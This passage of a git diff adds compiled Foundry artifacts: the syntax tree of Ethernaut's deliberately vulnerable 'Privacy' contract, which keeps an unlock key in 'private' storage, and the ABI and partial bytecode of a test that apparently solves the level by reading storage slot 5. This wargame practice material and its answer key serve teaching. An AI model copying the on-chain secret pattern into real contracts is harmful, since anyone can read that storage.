10"},"value":"10"},"visibility":"private"},{"id":54142,"nodeType":"VariableDeclaration","src":"187:32:99","nodes":[],"constant":false,"mutability":"mutable","name":"denomination","nameLocation":"201:12:99","scope":54187,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"},"typeName":{"id":54140,"name":"uint8","nodeType":"ElementaryTypeName","src":"187:5:99","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}},"value":{"hexValue":"323535","id":54141,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"216:3:99","typeDescriptions":{"typeIdentifier":"t_rational_255_by_1","typeString":"int_const 255"},"value":"255"},"visibility":"private"},{"id":54149,"nodeType":"VariableDeclaration","src":"225:52:99","nodes":[],"constant":false,"mutability":"mutable","name":"awkwardness","nameLocation":"240:11:99","scope":54187,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint16","typeString":"uint16"},"typeName":{"id":54143,"name":"uint16","nodeType":"ElementaryTypeName","src":"225:6:99","typeDescriptions":{"typeIdentifier":"t_uint16","typeString":"uint16"}},"value":{"arguments":[{"expression":{"id":54146,"name":"block","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-4,"src":"261:5:99","typeDescriptions":{"typeIdentifier":"t_magic_block","typeString":"block"}},"id":54147,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"267:9:99","memberName":"timestamp","nodeType":"MemberAccess","src":"261:15:99","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":54145,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"254:6:99","typeDescriptions":{"typeIdentifier":"t_type$_t_uint16_$","typeString":"type(uint16)"},"typeName":{"id":54144,"name":"uint16","nodeType":"ElementaryTypeName","src":"254:6:99","typeDescriptions":{}}},"id":54148,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"254:23:99","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint16","typeString":"uint16"}},"visibility":"private"},{"id":54153,"nodeType":"VariableDeclaration","src":"283:23:99","nodes":[],"constant":false,"mutability":"mutable","name":"data","nameLocation":"302:4:99","scope":54187,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$3_storage","typeString":"bytes32[3]"},"typeName":{"baseType":{"id":54150,"name":"bytes32","nodeType":"ElementaryTypeName","src":"283:7:99","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":54152,"length":{"hexValue":"33","id":54151,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"291:1:99","typeDescriptions":{"typeIdentifier":"t_rational_3_by_1","typeString":"int_const 3"},"value":"3"},"nodeType":"ArrayTypeName","src":"283:10:99","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$3_storage_ptr","typeString":"bytes32[3]"}},"visibility":"private"},{"id":54165,"nodeType":"FunctionDefinition","src":"313:66:99","nodes":[],"body":{"id":54164,"nodeType":"Block","src":"350:29:99","nodes":[],"statements":[{"expression":{"id":54162,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":54160,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54153,"src":"360:4:99","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$3_storage","typeString":"bytes32[3] storage ref"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":54161,"name":"_data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54157,"src":"367:5:99","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$3_memory_ptr","typeString":"bytes32[3] memory"}},"src":"360:12:99","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$3_storage","typeString":"bytes32[3] storage ref"}},"id":54163,"nodeType":"ExpressionStatement","src":"360:12:99"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":54158,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54157,"mutability":"mutable","name":"_data","nameLocation":"343:5:99","nodeType":"VariableDeclaration","scope":54165,"src":"325:23:99","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$3_memory_ptr","typeString":"bytes32[3]"},"typeName":{"baseType":{"id":54154,"name":"bytes32","nodeType":"ElementaryTypeName","src":"325:7:99","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":54156,"length":{"hexValue":"33","id":54155,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"333:1:99","typeDescriptions":{"typeIdentifier":"t_rational_3_by_1","typeString":"int_const 3"},"value":"3"},"nodeType":"ArrayTypeName","src":"325:10:99","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$3_storage_ptr","typeString":"bytes32[3]"}},"visibility":"internal"}],"src":"324:25:99"},"returnParameters":{"id":54159,"nodeType":"ParameterList","parameters":[],"src":"350:0:99"},"scope":54187,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":54186,"nodeType":"FunctionDefinition","src":"385:111:99","nodes":[],"body":{"id":54185,"nodeType":"Block","src":"422:74:99","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bytes16","typeString":"bytes16"},"id":54178,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":54171,"name":"_key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54167,"src":"440:4:99","typeDescriptions":{"typeIdentifier":"t_bytes16","typeString":"bytes16"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[{"baseExpression":{"id":54174,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54153,"src":"456:4:99","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$3_storage","typeString":"bytes32[3] storage ref"}},"id":54176,"indexExpression":{"hexValue":"32","id":54175,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"461:1:99","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"456:7:99","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":54173,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"448:7:99","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes16_$","typeString":"type(bytes16)"},"typeName":{"id":54172,"name":"bytes16","nodeType":"ElementaryTypeName","src":"448:7:99","typeDescriptions":{}}},"id":54177,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"448:16:99","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes16","typeString":"bytes16"}},"src":"440:24:99","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":54170,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"432:7:99","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":54179,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"432:33:99","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":54180,"nodeType":"ExpressionStatement","src":"432:33:99"},{"expression":{"id":54183,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":54181,"name":"locked","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54132,"src":"475:6:99","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"66616c7365","id":54182,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"484:5:99","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},"src":"475:14:99","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":54184,"nodeType":"ExpressionStatement","src":"475:14:99"}]},"functionSelector":"e1afb08c","implemented":true,"kind":"function","modifiers":[],"name":"unlock","nameLocation":"394:6:99","parameters":{"id":54168,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54167,"mutability":"mutable","name":"_key","nameLocation":"409:4:99","nodeType":"VariableDeclaration","scope":54186,"src":"401:12:99","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes16","typeString":"bytes16"},"typeName":{"id":54166,"name":"bytes16","nodeType":"ElementaryTypeName","src":"401:7:99","typeDescriptions":{"typeIdentifier":"t_bytes16","typeString":"bytes16"}},"visibility":"internal"}],"src":"400:14:99"},"returnParameters":{"id":54169,"nodeType":"ParameterList","parameters":[],"src":"422:0:99"},"scope":54187,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"Privacy","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[54187],"name":"Privacy","nameLocation":"66:7:99","scope":54188,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":99} \ No newline at end of file diff --git a/contracts/out/Privacy.t.sol/TestPrivacy.json b/contracts/out/Privacy.t.sol/TestPrivacy.json new file mode 100644 index 000000000..1c0313679 --- /dev/null +++ b/contracts/out/Privacy.t.sol/TestPrivacy.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"IS_TEST","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"createLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"level","type":"address","internalType":"contract Level"},{"name":"value","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"instance","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"createUsers","inputs":[{"name":"userNum","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address[]","internalType":"address payable[]"}],"stateMutability":"nonpayable"},{"type":"function","name":"excludeArtifacts","inputs":[],"outputs":[{"name":"excludedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"excludeContracts","inputs":[],"outputs":[{"name":"excludedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"excludeSenders","inputs":[],"outputs":[{"name":"excludedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"failed","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"getEthernautWithStatsProxy","inputs":[{"name":"owner","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"contract Ethernaut"}],"stateMutability":"nonpayable"},{"type":"function","name":"getNextUserAddress","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address payable"}],"stateMutability":"nonpayable"},{"type":"function","name":"getOldFactory","inputs":[{"name":"contractName","type":"string","internalType":"string"}],"outputs":[{"name":"addr","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"mineBlocks","inputs":[{"name":"numBlocks","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"setUp","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"submitLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"instance","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"targetArtifactSelectors","inputs":[],"outputs":[{"name":"targetedArtifactSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetArtifacts","inputs":[],"outputs":[{"name":"targetedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"targetContracts","inputs":[],"outputs":[{"name":"targetedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"targetInterfaces","inputs":[],"outputs":[{"name":"targetedInterfaces_","type":"tuple[]","internalType":"struct StdInvariant.FuzzInterface[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"artifacts","type":"string[]","internalType":"string[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSelectors","inputs":[],"outputs":[{"name":"targetedSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSenders","inputs":[],"outputs":[{"name":"targetedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"testInit","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"testSolve","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"log","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_address","inputs":[{"name":"","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_bytes","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_bytes32","inputs":[{"name":"","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_int","inputs":[{"name":"","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_address","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_named_bytes","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_named_bytes32","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_named_decimal_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_decimal_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_string","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_named_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_string","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_uint","inputs":[{"name":"","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"logs","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false}],"bytecode":{"object":"0x600c8054600160ff1991821681178355601e80549092161790556b75736572206164647265737360a01b60a05260805260ac6040527ffadd6953a0436e85528ded789af2e2b7e57c1cd7c68c5c3796d8ea67e0018db7601f55348015610063575f80fd5b506163ca806100715f395ff3fe608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001b7e565b620007ff565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009c9565b604051620001c7919062001bc1565b620001b3620001fa36600462001cad565b62000a2b565b6200020a62000bf6565b604051620001c7919062001d80565b620001da62000d3e565b620001da62000d9e565b6200023762000dfe565b604051620001c7919062001e43565b620001da6200025736600462001f10565b62000ef8565b6200019a62001088565b6200027162001242565b604051620001c7919062001f28565b620001b36200029136600462001f8e565b62001317565b6200023762001436565b620002b8620002b236600462001fac565b62001530565b6040519015158152602001620001c7565b62000271620016c0565b6200019a62001795565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b86200182e565b620001da620018e9565b6200019a6200032f36600462001f10565b62001949565b601e54620002b89060ff1681565b5f62000350600262000ef8565b9050805f8151811062000367576200036762001fe8565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b505050508060018151811062000449576200044962001fe8565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b0316905062001317565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f90620005d89062001b31565b604051809103905ff080158015620005f2573d5f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000653575f80fd5b505af115801562000666573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006c5575f80fd5b505af1158015620006d8573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000733575f80fd5b505af115801562000746573d5f803e3d5ffd5b50506020546200076492506001600160a01b03169050825f620007ff565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007e4575f80fd5b505af1158015620007f7573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200085b575f80fd5b505af11580156200086e573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008ce575f80fd5b505af1158015620008e1573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000946573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200096f919081019062002089565b9050806001825162000982919062002219565b8151811062000995576200099562001fe8565b60200260200101515f0151600281518110620009b557620009b562001fe8565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a02575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a8b573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000ab491908101906200222f565b90505f81848560405160200162000acd92919062002281565b60408051601f198184030181529082905262000aed92916020016200232f565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b5190859060040162002361565b5f60405180830381865afa15801562000b6c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b9591908101906200222f565b90505f62000be26040518060400160405280601081526020017f2e62797465636f64652e6f626a6563740000000000000000000000000000000081525083620019bd90919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d1d578382905f5260205f2001805462000c8b9062002375565b80601f016020809104026020016040519081016040528092919081815260200182805462000cb99062002375565b801562000d085780601f1062000cde5761010080835404028352916020019162000d08565b820191905f5260205f20905b81548152906001019060200180831162000cea57829003601f168201915b50505050508152602001906001019062000c6b565b50505050815250508152602001906001019062000c19565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000edf57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000e8b5790505b5050505050815250508152602001906001019062000e21565b60605f8267ffffffffffffffff81111562000f175762000f1762001c0f565b60405190808252806020026020018201604052801562000f41578160200160208202803683370190505b5090505f5b8381101562001081575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f8e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fb49190620023af565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001032575f80fd5b505af115801562001045573d5f803e3d5ffd5b50505050808383815181106200105f576200105f62001fe8565b6001600160a01b03909216602092830291909101909101525060010162000f46565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620010df575f80fd5b505af1158015620010f2573d5f803e3d5ffd5b5050602154604051630667f9d760e41b81526001600160a01b039091166004820152600560248201525f9250737109709ecfa91a80626ff3989d68f67f5b1dd12d915063667f9d7090604401602060405180830381865afa1580156200115a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620011809190620023cd565b6021546040517fe1afb08c0000000000000000000000000000000000000000000000000000000081527fffffffffffffffffffffffffffffffff00000000000000000000000000000000831660048201529192506001600160a01b03169063e1afb08c906024015f604051808303815f87803b158015620011ff575f80fd5b505af115801562001212573d5f803e3d5ffd5b50506020546021546200123f93506200123992506001600160a01b03918216911662001530565b62001a5f565b50565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f20018054620012859062002375565b80601f0160208091040260200160405190810160405280929190818152602001828054620012b39062002375565b8015620013025780601f10620012d85761010080835404028352916020019162001302565b820191905f5260205f20905b815481529060010190602001808311620012e457829003601f168201915b50505050508152602001906001019062001265565b5f80604051620013279062001b3f565b604051809103905ff08015801562001341573d5f803e3d5ffd5b5090505f604051620013539062001b4d565b604051809103905ff0801580156200136d573d5f803e3d5ffd5b5084836040516200137e9062001b5b565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff080158015620013b8573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b15801562001417575f80fd5b505af11580156200142a573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b031683526001810180548351818702810187019094528084529394919385830193928301828280156200151757602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020019060040190602082600301049283019260010382029150808411620014c35790505b5050505050815250508152602001906001019062001459565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200158c575f80fd5b505af11580156200159f573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b158015620015fd575f80fd5b505af115801562001610573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562001674573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200169d919081019062002089565b9050600181511115620016b5576001915050620016ba565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f20018054620017039062002375565b80601f0160208091040260200160405190810160405280929190818152602001828054620017319062002375565b8015620017805780601f10620017565761010080835404028352916020019162001780565b820191905f5260205f20905b8154815290600101906020018083116200176257829003601f168201915b505050505081526020019060010190620016e3565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620017ec575f80fd5b505af1158015620017ff573d5f803e3d5ffd5b50506020546021546200182c93506200182692506001600160a01b03918216911662001530565b62001ade565b565b6008545f9060ff161562001846575060085460ff1690565b604051630667f9d760e41b8152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa158015620018bc573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620018e29190620023cd565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b5f620019568243620023e5565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007e4575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be89062001a149086908690600401620023fb565b5f60405180830381865afa15801562001a2f573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001a5891908101906200242c565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001ac4575f80fd5b505afa15801562001ad7573d5f803e3d5ffd5b